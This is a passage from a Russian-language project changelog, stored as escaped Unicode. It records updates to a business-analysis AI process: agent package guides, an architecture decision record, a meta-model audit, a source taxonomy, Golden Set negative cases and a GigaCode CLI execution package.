\u041a\u043e\u043c\u0430\u043d\u0434\u0430 / \u041e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 / \u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435\u00bb, \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u044b \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430, \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u00ab\u043e\u0434\u0438\u043d TASK ID \u2014 \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0433\u043e\u043d\u00bb, \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0440\u0435\u0436\u0438\u043c \u043e\u0442\u043b\u0430\u0434\u043a\u0438, \u0433\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439 \u0441 \u043f\u0435\u0440\u0435\u043a\u0440\u0451\u0441\u0442\u043d\u044b\u043c\u0438 \u0441\u0441\u044b\u043b\u043a\u0430\u043c\u0438, \u043e\u0433\u043b\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u043d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u044f. \u041f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0440\u0430\u0437\u0440\u044b\u0432\u044b \u043c\u043e\u0434\u0435\u043b\u0438 (\u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0430\u0433\u0435\u043d\u0442\u0430, \u043d\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u044f, hooks \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043d\u0430 Windows, \u043d\u0435\u0442 skills \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u043e\u0442\u043b\u0430\u0434\u043a\u0438) \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u043a\u0430\u043a \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u041e-1\u2026\u041e-5 \u0438 \u0437\u0430\u0434\u0430\u0447\u0438 B-198\u2026B-202; \u0442\u0435\u0441\u0442\u044b \u043f\u0430\u043a\u0435\u0442\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u044e\u0442 \u0441\u0441\u044b\u043b\u043a\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0443\u0442\u044c \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u044f.\\n- projects: \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f Cline-\u043f\u0430\u043a\u0435\u0442\u0430 \u0434\u043b\u044f \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0449\u0435\u0433\u043e \u0411\u0410 \u043f\u0435\u0440\u0435\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u0430 \u0432 [\u043a\u043b\u0430\u0441\u0442\u0435\u0440 \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432](projects/ba-ai-process/dist/execution-package-cline-vscode/docs/guides/README.md) (issue [#628](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/628)): \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0431\u0435\u0437 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0437\u0430\u0434\u0430\u0447, \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 \u0438 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0435 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 KB \u0438\u0437 `mango-ba-ai-runtime/docs/kb`, \u0442\u0435\u0441\u0442\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u0441 \u0440\u0430\u0437\u0431\u043e\u0440\u043e\u043c trace, \u0441\u043f\u0440\u0430\u0432\u043e\u0447\u043d\u0438\u043a \u043a\u043e\u043c\u0430\u043d\u0434 \u0438 \u043f\u0430\u043f\u043e\u043a, \u043f\u0440\u0438\u043c\u0435\u0440 \u0434\u0438\u0430\u043b\u043e\u0433\u0430 \u0438 \u0440\u0430\u0437\u0431\u043e\u0440 \u0442\u0438\u043f\u0438\u0447\u043d\u044b\u0445 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0439. \u041f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442 \u2014 Windows 10/11 x64; \u043f\u0430\u043a\u0435\u0442 \u043f\u0435\u0440\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d \u0438\u0437 Source.\\n- projects: \u043f\u0440\u0438\u043d\u044f\u0442\u0430 [ADR-017 \u2014 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 `ba-ai-process`: Source, Distribution \u0438 \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md) \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0430 \u043f\u0435\u0440\u0432\u0430\u044f \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043c\u0438\u0433\u0440\u0430\u0446\u0438\u044f (issues [#595](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/595), [#599](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/599)). Source \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d \u0432 [`projects/ba-ai-process/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process); project-scoped ADR \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0451\u043d \u0432 `decisions/`, tests \u0438 experiments \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u044b, \u0430 GigaCode CLI Distribution \u0440\u0430\u0437\u043c\u0435\u0449\u0451\u043d \u0432 `dist/`. Package manifest \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 Source revision, adapter, allowlist \u0438 SHA-256 immutable-\u0432\u044b\u0445\u043e\u0434\u043e\u0432; negative gate \u043e\u0442\u043a\u043b\u043e\u043d\u044f\u0435\u0442 RRP, ADR/RFC, backlog \u0438 \u043f\u0440\u043e\u0447\u0438\u0439 Source rationale. \u0412\u043d\u0435\u0448\u043d\u0435\u0435 \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u0438 runtime smoke test \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432 B-179.\\n- projects: [\u0421\u043a\u0432\u043e\u0437\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0411\u0410 \u0441 \u044d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0435\u0439](docs/audit/2026-09-15-ba-meta-model-cross-check-audit.md) (issue #587) \u2014 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0439 \u0430\u0443\u0434\u0438\u0442 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f issue #577 \u043f\u043e \u043f\u0443\u043d\u043a\u0442\u0430\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430. \u0412\u0435\u0440\u0434\u0438\u043a\u0442 `conditional`: \u043f\u043e\u0440\u043e\u0433 \u043f\u0435\u0440\u0435\u0440\u0430\u0431\u043e\u0442\u043a\u0438 (\u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0431\u043e\u043b\u0435\u0435 80% \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0430) \u043d\u0435 \u0434\u043e\u0441\u0442\u0438\u0433\u043d\u0443\u0442, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0440\u0435\u0438\u043d\u0436\u0438\u043d\u0438\u0440\u0438\u043d\u0433 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f, \u0444\u043e\u0440\u043c\u044b \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u044b \u0431\u0435\u0437 \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0439, \u0430 \u0434\u043e\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u0442\u043e\u0447\u0435\u0447\u043d\u0430\u044f. \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430 \u2014 [`exp/ba-meta-model-cross-check-587/`](research/ba-requirements/exp/ba-meta-model-cross-check-587/README.md): \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u043a\u0435\u043b\u0435\u0442\u0430 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0430 \u043d\u0430 \u0442\u0440\u0451\u0445 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u043a\u043e\u0440\u043f\u0443\u0441\u0430 (\u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u0430, `M-1 = 0.0`, \u0441\u0435\u043c\u044c \u0441\u043b\u043e\u0442\u043e\u0432 \u0438\u0437 \u0447\u0435\u0442\u044b\u0440\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0442\u0438\u043b\u0438\u0441\u044c \u043d\u0438 \u0440\u0430\u0437\u0443), \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u043a `research/ai-education` \u2014 \u0434\u0432\u0430 \u043c\u043e\u0434\u0443\u043b\u044f \u0438\u0437 \u0434\u0435\u0441\u044f\u0442\u0438, \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 `C-IN`/`C-OUT` \u2014 \u043d\u0430 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430\u0445, \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u0441\u044b\u0440\u044b\u0445 \u0432\u0445\u043e\u0434\u043e\u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447 1059 \u0438 975. \u0412\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0430 **\u0431\u0435\u0437** \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0440\u0430\u043d\u0435\u0435 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430: \u044d\u0442\u043e \u043f\u0440\u044f\u043c\u043e\u0439 \u0437\u0430\u043f\u0440\u0435\u0442 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438, \u0438 \u0432\u043c\u0435\u0441\u0442\u043e \u0441\u0432\u0435\u0440\u043a\u0438 \u00ab\u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0441\u044f \u043b\u0438 \u0442\u043e\u0442 \u0436\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u00bb \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043e, \u0433\u0434\u0435 \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u0440\u0430\u0441\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0441 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0438 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043e \u043b\u0438 \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c.\\n- projects: [\u0422\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u0443\u0440\u043e\u0432\u043d\u0435\u0439 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432](projects/ba-ai-process/ba-meta-model/20-taxonomy.md) `ST-1-ATTACHED`, `ST-2-CORPUS`, `ST-3-PRODUCT-DOC`, `ST-4-HUMAN` \u0441 \u0444\u043e\u0440\u043c\u0430\u043c\u0438 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 `EF-INLINE`/`EF-QUOTE`, \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u043c \u043f\u043e\u0440\u044f\u0434\u043a\u043e\u043c \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f, \u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c \u043a\u043e\u043d\u0444\u043b\u0438\u043a\u0442\u0430 \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430\u043c\u0438 `SR-1`\u2026`SR-6` \u2014 \u0432\u0442\u043e\u0440\u0430\u044f \u0441\u043b\u0443\u0436\u0435\u0431\u043d\u0430\u044f \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438. \u0417\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u0435\u0444\u0435\u043a\u0442: \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 `GT-5` \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b \u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a, \u043d\u043e \u043d\u0435 \u0433\u043e\u0432\u043e\u0440\u0438\u043b, \u0433\u0434\u0435 \u0430\u0433\u0435\u043d\u0442 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0438\u0449\u0435\u0442, \u0438 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u043b\u0441\u044f \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443 \u043e \u0444\u0430\u043a\u0442\u0435, \u043b\u0435\u0436\u0430\u0449\u0435\u043c \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430. \u041f\u0440\u043e\u0433\u043e\u043d [`runs/bcreq-1059-routed/`](research/ba-requirements/exp/ba-meta-model-cross-check-587/README.md) \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442 \u044d\u0444\u0444\u0435\u043a\u0442 \u043d\u0430 \u0442\u043e\u043c \u0436\u0435 \u0432\u0445\u043e\u0434\u0435: \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0449\u0438\u0439 \u0432\u043e\u043f\u0440\u043e\u0441 \u0441\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f \u0434\u043e\u0441\u043b\u043e\u0432\u043d\u043e\u0439 \u0446\u0438\u0442\u0430\u0442\u043e\u0439 \u043a\u043e\u0440\u043f\u0443\u0441\u0430, `S-SCOPE` \u0438 `S-SETTINGS` \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f, \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0449\u0438\u0445 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432 \u043d\u0435 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f. \u0421\u0435\u043c\u0438\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0438\u0437 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 **\u0441\u0443\u0436\u0435\u043d** \u0434\u043e \u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u0443\u0440\u043e\u0432\u043d\u0435\u0439 \u043e\u0441\u043e\u0437\u043d\u0430\u043d\u043d\u043e, \u0442\u0440\u0438 \u0438\u0441\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u044b \u0432 `out_of_slice` \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u2014 \u043d\u0435\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0432\u0435\u0442\u043a\u0430 \u043d\u0435\u043e\u0442\u043b\u0438\u0447\u0438\u043c\u0430 \u043e\u0442 \u0437\u0430\u0431\u044b\u0442\u043e\u0439.\\n- projects: \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u044f `V-CONTRACT` (\u0447\u0442\u0435\u043d\u0438\u0435 \u0441\u0442\u043e\u0440\u043e\u043d\u043e\u0439 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430) \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0430 \u043a `V-BIZ`, `V-APPROVE`, `V-DEV` **\u0431\u0435\u0437 \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u044f** \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445, \u043f\u043e\u043b\u0435 `projection` \u043f\u0435\u0440\u0435\u0432\u0435\u0434\u0435\u043d\u043e \u0432 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 `C-OUT`. \u0414\u043e \u044d\u0442\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0439 \u0431\u044b\u043b \u043d\u0443\u043b\u0435\u0432\u043e\u0439 \u0432\u0435\u0442\u043a\u043e\u0439: \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u044b, \u043d\u043e \u043d\u0438 \u043e\u0434\u0438\u043d \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0438\u0445 \u043d\u0435 \u043f\u0440\u0435\u0434\u044a\u044f\u0432\u043b\u044f\u043b. `V-CONTRACT` \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438 `S-FR` \u043a\u0430\u043a \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u00ab\u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0412\u041e\u0417\u041c\u041e\u0416\u041d\u041e\u0421\u0422\u042c\u00bb, \u043f\u043e\u043b\u043d\u043e\u0442\u044b \u043f\u043e \u0447\u0435\u0442\u044b\u0440\u0451\u043c \u0432\u043e\u043f\u0440\u043e\u0441\u0430\u043c (\u0447\u0442\u043e, \u043a\u0442\u043e, \u0433\u0434\u0435, \u043a\u043e\u0433\u0434\u0430) \u0438 \u043f\u0443\u0441\u0442\u043e\u0433\u043e `S-OPEN`.\\n- projects: \u0422\u0440\u0438 \u043e\u0442\u0440\u0438\u0446\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u044d\u0442\u0430\u043b\u043e\u043d\u0430 Golden Set (\u043e\u0447\u0435\u0440\u0435\u0434\u044c \u043f\u0440\u043e\u0442\u0438\u0432 \u0433\u0440\u0443\u043f\u043f\u044b, `SLA` \u043f\u0440\u043e\u0442\u0438\u0432 `AHT`, `IVR` \u043f\u0440\u043e\u0442\u0438\u0432 \u0430\u0432\u0442\u043e\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0440\u0430) \u2014 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u043e `EP-G7` \u0441\u0442\u0430\u043b\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u043c: \u043d\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 `validate-package.py` \u0441\u0432\u0435\u0440\u044f\u0435\u0442 \u043a\u0430\u0436\u0434\u0443\u044e \u043f\u0430\u0440\u0443 `confusable_with` \u0432\u0435\u0440\u0441\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0433\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u044f \u0441 \u043d\u0430\u043b\u0438\u0447\u0438\u0435\u043c \u043e\u0442\u0440\u0438\u0446\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u043b\u0443\u0447\u0430\u044f \u0438 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043d\u0430\u0448\u043b\u0430 \u0442\u0440\u0438 \u043d\u0435\u043f\u043e\u043a\u0440\u044b\u0442\u044b\u0435 \u043f\u0430\u0440\u044b. \u041f\u0440\u0430\u0432\u0438\u043b\u043e, \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u0432\u0448\u0435\u0435 \u0442\u0435\u043a\u0441\u0442\u043e\u043c, \u043d\u0430\u0447\u0430\u043b\u043e \u043b\u043e\u0432\u0438\u0442\u044c \u043f\u0440\u043e\u0431\u0435\u043b\u044b \u0432 \u043f\u0435\u0440\u0432\u043e\u043c \u0436\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0435.\\n\\n- projects: [\u041f\u0430\u043a\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f MVP BCREQ](projects/ba-ai-process/dist/execution-package-gigacode-cli/README.md) (issue #580) \u2014 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u0440\u0435\u0437\u0430 `A-IN \u2192 A-CORE \u2192 A-BCREQ` \u0434\u043b\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0433\u043e \u043a\u043b\u0430\u0441\u0441\u0430 \u00ab\u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u00bb \u0432 \u0444\u043e\u0440\u043c\u0443, \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u043c\u0443\u044e \u0432 \u0447\u0438\u0441\u0442\u044b\u0439 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439-\u0441\u043f\u0443\u0442\u043d\u0438\u043a \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430. \u041f\u0430\u043a\u0435\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0435 \u043c\u0430\u0448\u0438\u043d\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u0438 (12 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432, 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f, 10 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 33 \u043d\u0430\u0432\u044b\u043a\u0430 \u0441 \u043e\u0442\u043c\u0435\u0442\u043a\u043e\u0439 \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u043d\u043e\u0441\u0442\u0438 \u0441\u0440\u0435\u0437\u0443, 4 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0445 \u043f\u0440\u043e\u0444\u0438\u043b\u044f, 8 \u0441\u043c\u0435\u0436\u043d\u044b\u0445 \u0442\u0435\u0440\u043c\u0438\u043d\u043e\u0432 \u0434\u043e\u043c\u0435\u043d\u0430 \u0441 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0441\u043c\u0435\u0448\u0435\u043d\u0438\u044f); \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b `C-IN`, `C-CORE`, `C-CL`, `C-OUT`, `C-RK` \u043a\u0430\u043a JSON Schema; [\u0433\u0440\u0430\u0444 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 `RG-BCREQ-v1`](projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml) \u0438\u0437 \u0434\u0432\u0435\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u0443\u0437\u043b\u043e\u0432 \u0441 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u043e\u043c \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0435\u0431\u0440\u0435 \u0438 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u043e\u0439 \u0433\u0435\u0439\u0442\u043e\u0432 fail-closed; \u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u044c `SKILL.md` \u0441 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u043e\u043b\u044f\u043c\u0438 \u0441\u0440\u0435\u0434\u044b `name` \u0438 `description` (`SK-0`, `SK-8`) \u0438 \u0448\u0435\u0441\u0442\u044c\u044e \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u043c\u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u043c\u0438 \u0425\u0430\u0431\u0430; \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 Golden Set \u0438\u0437 \u0434\u0432\u0443\u0445 \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u043e\u0442\u0440\u0438\u0446\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u2014 \u043a\u0440\u043e\u0441\u0441-\u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u00ab\u0412\u0445\u043e\u0434\u044f\u0449\u0438\u0435\u00bb \u043f\u0440\u043e\u0442\u0438\u0432 \u00ab\u0418\u041e\u00bb, \u0433\u0434\u0435 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u043c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f **\u043e\u0442\u043a\u0430\u0437 \u0443\u0437\u043b\u0430**, \u0430 \u043d\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442; \u043c\u0435\u0442\u0440\u0438\u043a\u0438 `M-1`\u2026`M-5` \u0438 `MP-1`\u2026`MP-6` \u0441 \u0444\u043e\u0440\u043c\u0443\u043b\u0430\u043c\u0438; \u0447\u0435\u043a-\u043b\u0438\u0441\u0442\u044b \u0433\u0435\u0439\u0442\u043e\u0432, 